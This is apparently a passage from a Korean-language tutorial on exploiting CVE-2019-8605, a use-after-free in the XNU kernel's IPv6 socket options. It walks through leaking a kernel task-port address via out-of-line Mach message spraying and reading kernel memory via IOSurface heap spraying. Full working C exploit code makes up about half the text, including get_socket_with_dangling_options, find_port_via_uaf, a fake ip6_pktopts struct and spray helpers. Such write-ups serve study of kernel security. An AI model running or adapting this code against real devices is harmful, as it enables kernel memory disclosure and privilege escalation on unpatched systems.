\ubc88\uc9f8\ub294 \uad6c\uc870\uccb4 <code>ipc_entry<\/code>\ub85c, \uc774\ub294 \uad6c\uc870\uccb4 <code>ipc_object<\/code>\ub97c \uac00\ub9ac\ud0a8\ub2e4.<\/p>\n<p><code>ipc_space<\/code> \uad6c\uc870\uccb4\uc5d0\ub294 <code>is_table<\/code>\uc774\ub77c\ub294 \uba64\ubc84\uac00 \uc788\uc73c\uba70, \uc774\ub294 \ud604\uc7ac Task\uc758 \ubaa8\ub4e0 <code>ipc_entry<\/code>\ub97c \uc800\uc7a5\ud558\ub294 \ub370 \uc0ac\uc6a9\ub41c\ub2e4.<\/p>\n<p>\uc6b0\ub9ac\uc758 \uc774 \uc2dc\ub098\ub9ac\uc624\uc5d0\uc11c <code>ipc_entry<\/code>\uac00 \uac00\ub9ac\ud0a4\ub294 \uac83\uc740 <code>ipc_port<\/code>\uc774\ub2e4.<\/p>\n<p>\uc989, \ubcc0\uc218 <code>entry<\/code>\ub294 \ucc98\uc74c\uc5d0 \uc804\ub2ec\ub41c Task Port\uc758 <strong>\ucee4\ub110 \ubaa8\ub4dc \uc8fc\uc18c<\/strong>\ub97c \uc5bb\uac8c \ub418\ub294 \uac83\uc774\ub2e4.<\/p>\n<pre><code class=\"language-c\">ipc_entry_t\nipc_entry_lookup(\n ipc_space_t space,\n mach_port_name_t name)\n{\n mach_port_index_t index;\n ipc_entry_t entry;\n index = MACH_PORT_INDEX(name);\n if (index &lt; space-&gt;is_table_size) {\n entry = &amp;space-&gt;is_table[index];\n ...\n }\n return entry;\n}\n<\/code><\/pre>\n<p>\uacc4\uce35\uc801\uc73c\ub85c \uac70\uc2ac\ub7ec \uc62c\ub77c\uac00 \ubcf4\uba74, <code>ipc_object_copyin()<\/code> \ud568\uc218\uc758 \uc778\uc790 <code>objectp<\/code>\ub294 \uc0c1\uc704 \ud638\ucd9c\uc790\uc778 <code>ipc_kmsg_copyin_ool_ports_descriptor()<\/code> \ud568\uc218\uc758 <code>objects[]<\/code> \ubc30\uc5f4\uc5d0 \uc800\uc7a5\ub41c\ub2e4. \uc774 <code>objects[]<\/code> \ubc30\uc5f4\uc740 <code>ipc_kmsg_copyin_ool_ports_descriptor<\/code> \ud568\uc218 \ub0b4\uc5d0\uc11c \uba54\ubaa8\ub9ac \uacf5\uac04\uc774 \ud560\ub2f9\ub418\ubbc0\ub85c, \uc6b0\ub9ac\uac00 \ud574\uc57c \ud560 \uc77c\uc740 <code>ports_length<\/code>\ub97c <code>inp-&gt;in6p_outputopts<\/code>\uc758 \ud06c\uae30\uc640 \uac19\uac8c \uc124\uc815\ud558\ub294 \uac83\uc774\ub2e4. \uc774\ub807\uac8c \ud558\uba74 \ud574\ub2f9 \ubc30\uc5f4\uc774 \uc6b0\ub9ac\uac00 \ud574\uc81c\ud55c \uba54\ubaa8\ub9ac \uacf5\uac04\uc5d0 \ud560\ub2f9\ub418\ub3c4\ub85d \ub9cc\ub4e4 \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-c\">data = kalloc(ports_length);\nobjects = (ipc_object_t *) data;\n<\/code><\/pre>\n<p>\ud558\ub098\uc758 <strong>\ub85c\uc9c1 \ud638\ucd9c \ud750\ub984\ub3c4<\/strong>\ub97c \ub9cc\ub4e4\uc5c8\ub2e4. <strong>\ube68\uac04\uc0c9 \ubc15\uc2a4<\/strong>\uc5d0 \uc8fc\ubaa9\ud558\uc790.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2019-8605\/pics\/image%203.png\" alt=\"image.png\"><\/p>\n<p>\uba3c\uc800 <code>Ports<\/code> \ubc30\uc5f4\uc744 \uc0dd\uc131\ud558\uc5ec \uc0ac\uc6a9\uc790 \ubaa8\ub4dc Task Port\ub97c \uc800\uc7a5\ud55c \ub2e4\uc74c, OOL \uba54\uc2dc\uc9c0\ub97c \uad6c\uc131\ud55c\ub2e4. \ub098\uba38\uc9c0\ub294 \uc911\uc694\ud558\uc9c0 \uc54a\uace0, \ud575\uc2ec\uc740 <code>msg-&gt;ool_ports.address<\/code>\uc640 <code>msg-&gt;ool_ports.count<\/code>\uc774\ub2e4. \uc774 \ub450 \ud56d\ubaa9\ub9cc \uc81c\ub300\ub85c \uad6c\uc131\ud558\uba74 \ub41c\ub2e4. \uc774\ud6c4 <code>msg_send()<\/code> \ud568\uc218\ub97c \ud638\ucd9c\ud558\uc5ec \uba54\uc2dc\uc9c0\ub97c \uc804\uc1a1\ud558\uba74, \uc774\ub54c \uba54\ubaa8\ub9ac \ud560\ub2f9\uc774 \ubc1c\uc0dd\ud558\uace0, \uc0ac\uc6a9\uc790 \ubaa8\ub4dc Task Port\uac00 \ucee4\ub110 \ubaa8\ub4dc Task Port\uc758 \uc8fc\uc18c\ub85c \ubcc0\ud658\ub418\uc5b4 \uc6b0\ub9ac\uac00 \uc81c\uc5b4 \uac00\ub2a5\ud55c \uba54\ubaa8\ub9ac \uacf5\uac04\uc5d0 \uae30\ub85d\ub41c\ub2e4.<\/p>\n<pre><code class=\"language-c\">mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition) {\n    mach_port_t q = MACH_PORT_NULL;\n    kern_return_t err;\n    err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &amp;q);\n    if (err != KERN_SUCCESS) {\n        printf(&quot;[-] failed to allocate port\\n&quot;);\n        return 0;\n    }\n    \n    mach_port_t* ports = malloc(sizeof(mach_port_t) * count);\n    for (int i = 0; i &lt; count; i++) {\n        ports[i] = target_port;\n    }\n    \n    struct ool_msg* msg = (struct ool_msg*)calloc(1, sizeof(struct ool_msg));\n    \n    msg-&gt;hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);\n    msg-&gt;hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);\n    msg-&gt;hdr.msgh_remote_port = q;\n    msg-&gt;hdr.msgh_local_port = MACH_PORT_NULL;\n    msg-&gt;hdr.msgh_id = 0x41414141;\n    \n    msg-&gt;body.msgh_descriptor_count = 1;\n    \n    msg-&gt;ool_ports.address = ports;\n    msg-&gt;ool_ports.count = count;\n    msg-&gt;ool_ports.deallocate = 0;\n    msg-&gt;ool_ports.disposition = disposition;\n    msg-&gt;ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;\n    msg-&gt;ool_ports.copy = MACH_MSG_PHYSICAL_COPY;\n    \n    err = mach_msg(&amp;msg-&gt;hdr,\n                   MACH_SEND_MSG|MACH_MSG_OPTION_NONE,\n                   msg-&gt;hdr.msgh_size,\n                   0,\n                   MACH_PORT_NULL,\n                   MACH_MSG_TIMEOUT_NONE,\n                   MACH_PORT_NULL);\n    \n    if (err != KERN_SUCCESS) {\n        printf(&quot;[-] failed to send message: %s\\n&quot;, mach_error_string(err));\n        return MACH_PORT_NULL;\n    }\n    \n    return q;\n}\n<\/code><\/pre>\n<p>dangling\ub418\ub294 \uad6c\uc870\uccb4 <code>ip6_pktopts<\/code>\uc758 \ud06c\uae30\ub294 192\uc774\ub2e4.<\/p>\n<p>\uc774 \uad6c\uc870\uccb4\ub97c \ud3ec\ud568\ud558\ub294 \ud5e4\ub354 \ud30c\uc77c\uc744 \ucc3e\uc9c0 \ubabb\ud574, \uc5b4\uca54 \uc218 \uc5c6\uc774 \uc804\uccb4 \uad6c\uc870\uccb4\ub97c \ubcf5\uc0ac\ud574\uc11c \uc0ac\uc6a9\ud588\ub2e4.<\/p>\n<p>\uadf8 \ud6c4 <code>sizeof()<\/code> \ud568\uc218\ub97c \ud638\ucd9c\ud558\uc5ec \ud06c\uae30\ub97c \uacc4\uc0b0\ud588\ub2e4.<\/p>\n<p>\uc5ec\uae30\uc11c\ub294 \uad6c\uc870\uccb4 \uba64\ubc84 \ubd84\ud3ec\uc5d0 \ub530\ub77c <code>ip6po_minmtu<\/code>\uc640 <code>ip6po_prefer_tempaddr<\/code>\ub97c \uc120\ud0dd\ud574 \uc870\ud569\ud588\uc73c\uba70,<\/p>\n<p>\ub3d9\uc2dc\uc5d0 \ucee4\ub110 \ud3ec\uc778\ud130 \ud2b9\uc131\uc744 \ucd94\uac00\ud558\uc5ec \ud310\ubcc4\ud560 \uc218 \uc788\ub2e4.<\/p>\n<h3>task port\ub97c leak \uc2dc\ud0a4\ub294 \ucf54\ub4dc<\/h3>\n<p><a href=\"https:\/\/github.com\/wh1te4ever\/xnu_1day_practice\/commit\/35a968930c82a6f9c82948841bcc053b2ff906c9\">https:\/\/github.com\/wh1te4ever\/xnu_1day_practice\/commit\/35a968930c82a6f9c82948841bcc053b2ff906c9<\/a><\/p>\n<pre><code class=\"language-c\">#include &lt;stdio.h&gt;\n#include &lt;stdint.h&gt;\n#include &lt;stdbool.h&gt;\n#include &lt;mach\/mach.h&gt;\n#include &lt;sys\/socket.h&gt;\n#include &lt;netinet\/in.h&gt;\n#include &lt;errno.h&gt;\n\n#include &quot;helper.h&quot;\n#include &quot;iosurface.h&quot;\n#include &quot;exp.h&quot;\n\n\/* int; prefer temporary addresses as the source address. *\/\n#define IPV6_PREFER_TEMPADDR    63\n\n#define IPV6_USE_MIN_MTU        42 \/* bool; send packets at the minimum MTU *\/\n\nstruct ool_msg  {\n    mach_msg_header_t hdr;\n    mach_msg_body_t body;\n    mach_msg_ool_ports_descriptor_t ool_ports;\n};\n\nint get_socket() {\n    int sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);\n    if (sock &lt; 0) {\n        printf(&quot;[-] Can't get socket, error %d (%s)\\n&quot;, errno, strerror(errno));\n        return -1;\n    }\n    \n    \/\/ allow setsockopt() after disconnect()\n    struct so_np_extensions sonpx = {.npx_flags = SONPX_SETOPTSHUT, .npx_mask = SONPX_SETOPTSHUT};\n    int ret = setsockopt(sock, SOL_SOCKET, SO_NP_EXTENSIONS, &amp;sonpx, sizeof(sonpx));\n    if (ret) {\n        printf(&quot;[-] setsockopt() failed, error %d (%s)\\n&quot;, errno, strerror(errno));\n        return -1;\n    }\n    \n    return sock;\n}\n\n\/\/ utilities to manipulate sockets\nint set_minmtu(int sock, int *minmtu) {\n    return setsockopt(sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, sizeof(*minmtu));\n}\n\n\/\/ free the pktopts struct of the socket to get ready for UAF\nint free_socket_options(int sock) {\n    return disconnectx(sock, 0, 0);\n}\n\n\/\/ return a socket ready for UAF\nint get_socket_with_dangling_options() {\n    int socket = get_socket();\n    \n    int minmtu = -1;\n    set_minmtu(socket, &amp;minmtu);\n    \n    free_socket_options(socket);\n    \n    return socket;\n}\n\n\/\/ from Ian Beer. make a kernel allocation with the kernel address of 'target_port', 'count' times\nmach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition) {\n    mach_port_t q = MACH_PORT_NULL;\n    kern_return_t err;\n    err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &amp;q);\n    if (err != KERN_SUCCESS) {\n        printf(&quot;[-] failed to allocate port\\n&quot;);\n        return 0;\n    }\n    \n    mach_port_t* ports = malloc(sizeof(mach_port_t) * count);\n    for (int i = 0; i &lt; count; i++) {\n        ports[i] = target_port;\n    }\n    \n    struct ool_msg* msg = (struct ool_msg*)calloc(1, sizeof(struct ool_msg));\n    \n    msg-&gt;hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);\n    msg-&gt;hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);\n    msg-&gt;hdr.msgh_remote_port = q;\n    msg-&gt;hdr.msgh_local_port = MACH_PORT_NULL;\n    msg-&gt;hdr.msgh_id = 0x41414141;\n    \n    msg-&gt;body.msgh_descriptor_count = 1;\n    \n    msg-&gt;ool_ports.address = ports;\n    msg-&gt;ool_ports.count = count;\n    msg-&gt;ool_ports.deallocate = 0;\n    msg-&gt;ool_ports.disposition = disposition;\n    msg-&gt;ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;\n    msg-&gt;ool_ports.copy = MACH_MSG_PHYSICAL_COPY;\n    \n    err = mach_msg(&amp;msg-&gt;hdr,\n                   MACH_SEND_MSG|MACH_MSG_OPTION_NONE,\n                   msg-&gt;hdr.msgh_size,\n                   0,\n                   MACH_PORT_NULL,\n                   MACH_MSG_TIMEOUT_NONE,\n                   MACH_PORT_NULL);\n    \n    if (err != KERN_SUCCESS) {\n        printf(&quot;[-] failed to send message: %s\\n&quot;, mach_error_string(err));\n        return MACH_PORT_NULL;\n    }\n    \n    return q;\n}\n\nint get_minmtu(int sock, int *minmtu) {\n    socklen_t size = sizeof(*minmtu);\n    return getsockopt(sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, &amp;size);\n}\n\nint get_prefertempaddr(int sock, int *prefertempaddr) {\n    socklen_t size = sizeof(*prefertempaddr);\n    return getsockopt(sock, IPPROTO_IPV6, IPV6_PREFER_TEMPADDR, prefertempaddr, &amp;size);\n}\n\n\/\/ first primitive: leak the kernel address of a mach port\nuint64_t find_port_via_uaf(mach_port_t port, int disposition) {\n    \/\/ here we use the uaf as an info leak\n    int sock = get_socket_with_dangling_options();\n    \n    for (int i = 0; i &lt; 0x10000; i++) {\n        \/\/ since the UAFd field is 192 bytes, we need 192\/sizeof(uint64_t) pointers\n        mach_port_t p = fill_kalloc_with_port_pointer(port, 192\/sizeof(uint64_t), MACH_MSG_TYPE_COPY_SEND);\n        \n        int mtu;\n        int pref;\n        get_minmtu(sock, &amp;mtu); \/\/ this is like doing rk32(options + 180);\n        get_prefertempaddr(sock, &amp;pref); \/\/ this like rk32(options + 184);\n        \n        \/\/ since we wrote 192\/sizeof(uint64_t) pointers, reading like this would give us the second half of rk64(options + 184) and the fist half of rk64(options + 176)\n        \n        \/*  from a hex dump:\n         \n         (lldb) p\/x HexDump(options, 192)\n         XX XX XX XX F0 FF FF FF  XX XX XX XX F0 FF FF FF  |  ................\n         ...\n         XX XX XX XX F0 FF FF FF  XX XX XX XX F0 FF FF FF  |  ................\n                    |-----------||-----------|\n                     minmtu here prefertempaddr here\n         *\/\n        \n        \/\/ the ANDing here is done because for some reason stuff got wrong. say pref = 0xdeadbeef and mtu = 0, ptr would come up as 0xffffffffdeadbeef instead of 0x00000000deadbeef. I spent a day figuring out what was messing things up\n        \n        uint64_t ptr = (((uint64_t)mtu &lt;&lt; 32) &amp; 0xffffffff00000000) | ((uint64_t)pref &amp; 0x00000000ffffffff);\n        \n        if (mtu &gt;= 0xffffff00 &amp;&amp; mtu != 0xffffffff &amp;&amp; pref != 0xdeadbeef) {\n            mach_port_destroy(mach_task_self(), p);\n            close(sock);\n            return ptr;\n        }\n        mach_port_destroy(mach_task_self(), p);\n    }\n    \n    \/\/ close that socket.\n    close(sock);\n    return 0;\n}\n\nint main(int argc, char *argv[], char *envp[]) {\n    \/\/ IOSurface_init();\n\n    uint64_t self_port_addr = find_port_via_uaf(mach_task_self(), MACH_MSG_TYPE_COPY_SEND);\n    INFO(&quot;our task port: 0x%llx\\n&quot;, self_port_addr);\n\n    return 0;\n}\n<\/code><\/pre>\n<h2>2. OSUnserializeBinary \ud3ec\ub9f7\uc744 \ud65c\uc6a9\ud55c IOSurface \ud48d\uc218<\/h2>\n<p>\ubc29\uae08 OOL Message \uae30\ubc18 Port Address Spraying\uc744 \uc218\ud589\ud588\ub358\uac83\ucc98\ub7fc\n\uc774\ubc88\uc5d0\ub294 IOSurface \uae30\ubc18 Heap Spraying \ubc29\ubc95\uc744 \uc18c\uac1c\ud574\ubcf4\ub824\uace0 \ud55c\ub2e4.<\/p>\n<p>\uc774 \ubc29\ubc95\uc744 \ud1b5\ud574 \uc784\uc758\uc758 \ub370\uc774\ud130\ub97c \ucee4\ub110\uc758 \uc9c0\uc815\ub41c \uc704\uce58\uc5d0 \uc2a4\ud504\ub808\uc774\uc2dc\ud0ac \uc218 \uc788\ub2e4.<\/p>\n<p>IOSurface\uc5d0 \ub300\ud574 \uac04\ub7b5\ud788 \uc124\uba85\ud558\uc790\uba74,<\/p>\n<p>\ucee4\ub110\uc5d0\uc11c \ud504\ub85c\uc138\uc2a4 \uac04\uc5d0 \uadf8\ub798\ud53d \ubc84\ud37c\ub97c \uacf5\uc720\ud558\ub294 \ub370 \uc0ac\uc6a9\ub418\uba70\n\ucee4\ub110 \uba54\ubaa8\ub9ac \uc601\uc5ed\uc5d0 \ud560\ub2f9\ub418\ub294 \uac1d\uccb4\uc774\ub2e4.\n\ub300\ub7c9\uc758 \uadf8\ub798\ud53d \ub370\uc774\ud130\ub97c \ud6a8\uc728\uc801\uc73c\ub85c \ucee4\ub110\uacfc \uacf5\uc720\ud574\uc57c \ud558\ub294 \uadf8\ub798\ud53d \ucc98\ub9ac \uc791\uc5c5\uc5d0\uc11c \uc8fc\ub85c \uc0ac\uc6a9\ub41c\ub2e4.<\/p>\n<p>\ub530\ub77c\uc11c \ucee4\ub110 \uba54\ubaa8\ub9ac \uc601\uc5ed\uc5d0 \ud560\ub2f9\ub418\ub294 \uac1d\uccb4\uc774\uae30 \ub54c\ubb38\uc5d0\n\ucee4\ub110 \ud799 \uc2a4\ud504\ub808\uc774\uac00 \uac00\ub2a5\ud558\ub2e4.<\/p>\n<p>dangling \ub418\ub294 <code>in6p_outputopts<\/code>  \ud544\ub4dc\uc758 ip6_pktopts \uad6c\uc870\uccb4\ub97c \ub2e4\uc2dc \ud55c\ubc88 \uc0b4\ud3b4\ubcf4\uc790.<\/p>\n<pre><code class=\"language-c\">struct ip6_pktopts\n{\n  mbuf *ip6po_m;\n  int ip6po_hlim;\n  **in6_pktinfo *ip6po_pktinfo;  \/\/\uc6b0\ub9ac\uac00 \uc77d\uace0\uc790 \ud558\ub294 \uc8fc\uc18c\ub85c \uc0ac\uc6a9**\n  ip6po_nhinfo ip6po_nhinfo;\n  ip6_hbh *ip6po_hbh;\n  ip6_dest *ip6po_dest1;\n  ip6po_rhinfo ip6po_rhinfo;\n  ip6_dest *ip6po_dest2;\n  int ip6po_tclass;\n  **int ip6po_minmtu;       \/\/ \ud50c\ub798\uadf8 \ube44\ud2b8\ub85c \uc0ac\uc6a9**\n  int ip6po_prefer_tempaddr;\n  int ip6po_flags;\n};\n\n<\/code><\/pre>\n<p>\uc6d0\ub9ac\ub294 \uba3c\uc800 <code>in6p_outputopts<\/code> \uad6c\uc870\uccb4\ub97c \uc704\uc870\ud558\uc5ec,\n<strong>dangling ptr\uac00 \uc0ac\uc6a9\ub410\ub294\uc9c0 \ud655\uc778\ud558\uae30 \uc704\ud574 <code>minmtu<\/code> \uba64\ubc84\ub97c \ud50c\ub798\uadf8 \ube44\ud2b8\ub85c \uc0ac\uc6a9<\/strong>\ud55c \ub4a4,\n\ucd94\uac00\ub85c <strong>\uad6c\uc870\uccb4 \ud3ec\uc778\ud130\uc778 <code>in6_pktinfo<\/code>\uc5d0 \uc6b0\ub9ac\uac00 \uc77d\uace0\uc790 \ud558\ub294 \uc8fc\uc18c\ub97c \ub123\ub294<\/strong> \uc544\uc774\ub514\uc5b4\uc774\ub2e4.<\/p>\n<p>\uc544\ub798\ub294 \uc544\uc774\ub514\uc5b4\uc5d0 \ub300\ud55c \ucf54\ub4dc\uc774\ub2e4.<\/p>\n<pre><code class=\"language-c\">\/\/ create a fake struct with our dangling port address as its pktinfo\n    struct ip6_pktopts *fake_opts = calloc(1, sizeof(struct ip6_pktopts));\n    fake_opts-&gt;ip6po_minmtu = 0x41424344; \/\/ give a number we can recognize\n    *(uint32_t*)((uint64_t)fake_opts + 164) = 0x41424344; \/\/ on iOS 10, offset is different\n    fake_opts-&gt;ip6po_pktinfo = (struct in6_pktinfo*)addr;\n<\/code><\/pre>\n<p>\uadf8\ub7f0 \ub2e4\uc74c, Socket UAF\ub97c \uc774\uc6a9\ud574 \ub300\ub7c9 \ud574\uc81c\ub41c <code>in6p_outputopts<\/code> \uc601\uc5ed\uc744 \ub9cc\ub4e4\uace0,\n\uc55e\uc11c \uc704\uc870\ud55c \ub370\uc774\ud130\ub97c Socket UAF \uc601\uc5ed\uc5d0 \uc2a4\ud504\ub808\uc774\uc2dc\ud0a8\ub2e4.<\/p>\n<p>\uc774\ud6c4 <code>getsockopt<\/code> \ud568\uc218\ub97c \ud1b5\ud574 <code>minmtu<\/code>\ub97c \uc77d\uc5b4 Spraying\uc774 \uc131\uacf5\ud588\ub294\uc9c0 \ud655\uc778\ud558\uace0,\n\uc131\uacf5 \uc2dc <code>getsockopt<\/code>\ub97c \ud1b5\ud574 <code>ip6po_pktinfo<\/code> \uad6c\uc870\uccb4\ub97c \uc77d\uc5b4\uc628\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2019-8605\/pics\/image%204.png\" alt=\"image.png\"><\/p>\n<p><code>ip6po_pktinfo<\/code>\uc758 \ud06c\uae30\ub294 0x14=20\ubc14\uc774\ud2b8\uc774\ubbc0\ub85c,\n\uc774 \ubc29\uc2dd\uc744 \ud1b5\ud574 \ud55c \ubc88\uc5d0 \ub300\uc0c1 \uc8fc\uc18c\uc758 20\ubc14\uc774\ud2b8 \ub370\uc774\ud130\ub97c \uc77d\uc744 \uc218 \uc788\ub2e4.<\/p>\n<h3>Sock Port \uc775\uc2a4\ud50c\ub85c\uc787\uc5d0\uc11c \uc81c\uacf5\ud558\ub294 IOSurface \uad00\ub828 \ud568\uc218\ub4e4\uc744 \uc0b4\ud3b4\ubcf4\uae30<\/h3>\n<p><code>spray_IOSurface<\/code> \ud568\uc218\ub294 \uc2a4\ud504\ub808\uc774\ud560 \ub370\uc774\ud130\uc640 \ud06c\uae30\ub9cc \uc81c\uacf5\ud574\uc8fc\uba74 \ub41c\ub2e4\u2026\n\uc774 \ud568\uc218\ub294 <code>IOSurface_spray_with_gc<\/code>\uc758 \ub798\ud37c\ub85c\uc368, \uc0dd\uc131\ub418\ub294 <code>OSArray<\/code>\uc5d0 \ub300\ud55c \uae30\ubcf8 \uc124\uc815\uc744 \uc81c\uacf5\ud55c\ub2e4.<\/p>\n<p><code>array_count = 32<\/code>\ub294 32\uac1c\uc758 \uc2a4\ud504\ub808\uc774 \ubc30\uc5f4\uc744 \uc0dd\uc131\ud558\uc5ec \ucd1d 32\ud68c \ud799 \uc2a4\ud504\ub808\uc774\ub97c \uc218\ud589\ud568\uc744 \ub73b\ud558\uace0, <code>array_length = 256<\/code>\uc740 \uac01 \ubc30\uc5f4\uc5d0 256\uac1c\uc758 \uc2a4\ud504\ub808\uc774 \ub370\uc774\ud130\ub97c \ud3ec\ud568\ud568\uc744 \uc758\ubbf8\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-c\">bool\nIOSurface_spray_with_gc(uint32_t array_count, uint32_t array_length,\n\t\tvoid *data, uint32_t data_size,\n\t\tvoid (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)) {\n\treturn IOSurface_spray_with_gc_internal(array_count, array_length, 0,\n\t\t\tdata, data_size, callback);\n}\n\nint spray_IOSurface(void *data, size_t size) {\n    return !IOSurface_spray_with_gc(32, 256, data, (uint32_t)size, NULL);\n}\n<\/code><\/pre>\n<h3>OSUnserializeBinary XML Spraying \uc6d0\ub9ac<\/h3>\n<p>OSUnserializeBinary XML Spraying \uc6d0\ub9ac\uc5d0 \ub300\ud574 \uc774\ud574\ud558\uae30 \uc704\ud574 \ucd1d 7\uac1c\uc758 \ud575\uc2ec \ub2e8\uacc4\ub85c \uc774\ub904 \uc124\uba85\ud574\ub193\uc558\ub2e4.<\/p>\n<pre><code class=\"language-c\">static bool\nIOSurface_spray_with_gc_internal(uint32_t array_count, uint32_t array_length, uint32_t extra_count, void *data, uint32_t data_size, void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)) {\n    \/\/ 1. IOSurfaceRootClient \uac1d\uccb4\ub97c \uc0dd\uc131\ud558\uc5ec \ucee4\ub110\uacfc \ud1b5\uc2e0\n    \/\/ Make sure our IOSurface is initialized.\n    bool ok = IOSurface_init();\n    if (!ok) {\n    \treturn 0;\n    }\n    \n    \/\/ 2. \ud604\uc7ac \uc0ac\uc6a9 \ubc29\uc2dd\uc5d0\uc11c\ub294 extra_count = 0\uc774\ubbc0\ub85c extra_count\ub294 \ubb34\uc2dc\ud560 \uc218 \uc788\uc74c\n    \/\/ How big will our OSUnserializeBinary dictionary be?\n    uint32_t current_array_length = array_length + (extra_count &gt; 0 ? 1 : 0);\n    \n    \/\/ 3. Spraying Data\uc5d0 \ud544\uc694\ud55c XML \ub178\ub4dc \uc218 \uacc4\uc0b0\n    size_t xml_units_per_data = xml_units_for_data_size(data_size);\n    \n    \/\/ 4. \uc5ec\uae30\uc11c \uc5ec\ub7ec \uac1c\uc758 1\uc740 Spraying Data \uc678\uc5d0 \uace0\uc815\ub41c XML \ub178\ub4dc\ub97c \uc758\ubbf8\ud558\uba70, \uad6c\uccb4\uc801\uc778 \uad6c\uc131\uc740 \uc774\ud6c4\uc5d0 \ud655\uc778\ud560 \uc218 \uc788\uc74c\n    size_t xml_units = 1 + 1 + 1 + (1 + xml_units_per_data) * current_array_length + 1 + 1 + 1;\n    \n    \/\/ 5. \ucee4\ub110\uc5d0 \uc804\ub2ec\ud560 args\ub97c \uad6c\uc131\ud558\uba70, \uc5ec\uae30\uc5d0\ub294 \uc0dd\uc131\ud560 XML\uacfc \uae30\ud0c0 \uc124\uba85 \ub0b4\uc6a9\uc774 \ud3ec\ud568\ub428\n    \/\/ Allocate the args struct.\n    struct IOSurfaceValueArgs *args;\n    size_t args_size = sizeof(*args) + xml_units * sizeof(args-&gt;xml[0]);\n    args = malloc(args_size);\n    assert(args != 0);\n    \/\/ Build the IOSurfaceValueArgs.\n    args-&gt;surface_id = IOSurface_id;\n    \/\/ Create the serialized OSArray. We'll remember the locations we need to fill in with our\n    \n    \/\/ 6. \uac01 XML\uc740 Spraying Data\ub97c \ub2f4\uae30 \uc704\ud55c OSArray\ub97c \ud3ec\ud568\ud568\n    \/\/ xml_data \ubc30\uc5f4\uc740 current_array_length(256)\uac1c\uc758 xml_data\ub97c \ub2f4\uace0\n    \/\/ \uac01 xml_data\ub294 \uc5ec\ub7ec \uac1c\uc758 XML \ub178\ub4dc\ub85c \uc774\ub8e8\uc5b4\uc9c4 \ub2e8\uc77c Spraying Data\ub97c \ud3ec\ud568\ud568\n    \/\/ data as well as the slot we need to set our key.\n    uint32_t **xml_data = malloc(current_array_length * sizeof(*xml_data));\n    assert(xml_data != NULL);\n    uint32_t *key;\n    \n    \/\/ 7. XML \uad6c\uc131\n    size_t xml_size = serialize_IOSurface_data_array(args-&gt;xml,\n    \t\tcurrent_array_length, data_size, xml_data, &amp;key);\n    assert(xml_size == xml_units * sizeof(args-&gt;xml[0]));\n    \/\/ ...\n<\/code><\/pre>\n<p>7\ub2e8\uacc4 \u201cXML \uad6c\uc131\u201d\uc5d0\uc11c\ub294 256\uac1c\uc758 <code>OSString<\/code>\uc744 \ub2f4\uc740 <code>OSArray<\/code>\ub97c \uad6c\uc131\ud55c\ub2e4.<\/p>\n<p>\uc5ec\uae30\uc11c <code>OSString<\/code>\uc740 \uc2dc\ub9ac\uc5bc\ub77c\uc774\uc988 \ubc0f \uc2a4\ud504\ub808\uc774\ub418\ub294 \ub370\uc774\ud130\uc774\uba70,\n\uc774\ub97c <code>IOSurfaceRootClient<\/code>\ub97c \ud1b5\ud574 XML \ud615\ud0dc\ub85c \ucee4\ub110 \ubc84\ud37c\uc5d0 \uc804\uc1a1\ud558\uba74,\n\ucee4\ub110\uc740 \uc774 <code>OSString<\/code>\ub4e4\uc5d0 \ub300\ud55c \ud799\uc744 \ud560\ub2f9\ud55c\ub2e4.<\/p>\n<p><code>OSString<\/code>\uc774 \ubc14\ub85c \uc6b0\ub9ac\uac00 \uc2a4\ud504\ub808\uc774\ud558\ub824\ub294 \ub370\uc774\ud130\uc774\uae30 \ub54c\ubb38\uc5d0\n\uc774\ub7ec\ud55c \uacfc\uc815\uc744 \ud1b5\ud574 \uc784\uc758\uc758 \ub370\uc774\ud130\ub97c \ucee4\ub110 \ud799\uc5d0 \uc2a4\ud504\ub808\uc774\ud560 \uc218 \uc788\ub294 \uac83\uc774\ub2e4.<\/p>\n<p>IOSurface \uc804\uc1a1\uc6a9 XML \uac1d\uccb4\uc758 \uac01 \ub178\ub4dc\ub294 <code>uint32<\/code> \ud558\ub098\ub85c \ud45c\ud604\ud560 \uc218 \uc788\uc73c\uba70,\n\uc774\ub97c XML \uc720\ub2db(XML Unit)\uc774\ub77c\uace0 \ubd80\ub974\uae30\ub3c4 \ud55c\ub2e4.<\/p>\n<pre><code class=\"language-c\">struct IOSurfaceValueArgs {\n    uint32_t surface_id;\n    uint32_t _out1;\n    union {\n        **uint32_t xml[0];    \/\/** XML \uac1d\uccb4\uc758 \uac01 \ub178\ub4dc\n        char string[0];\n    };\n};\n<\/code><\/pre>\n<p>IOSurface \ud638\ucd9c \uc2dc \uc785\ub825 \uae38\uc774\ub97c \uba85\uc2dc\ud574\uc57c \ud558\ubbc0\ub85c,\n\uac01 \uc2a4\ud504\ub808\uc774 \ub77c\uc6b4\ub4dc\uc5d0\uc11c \uc0ac\uc6a9\ud560 XML \ud06c\uae30\ub97c \uc815\ud655\ud788 \uacc4\uc0b0\ud558\ub294 \uac83\uc774 \ub9e4\uc6b0 \uc911\uc694\ud558\ub2e4.<\/p>\n<p>3\ub2e8\uacc4 \u201cSpraying Data\uc5d0 \ud544\uc694\ud55c XML 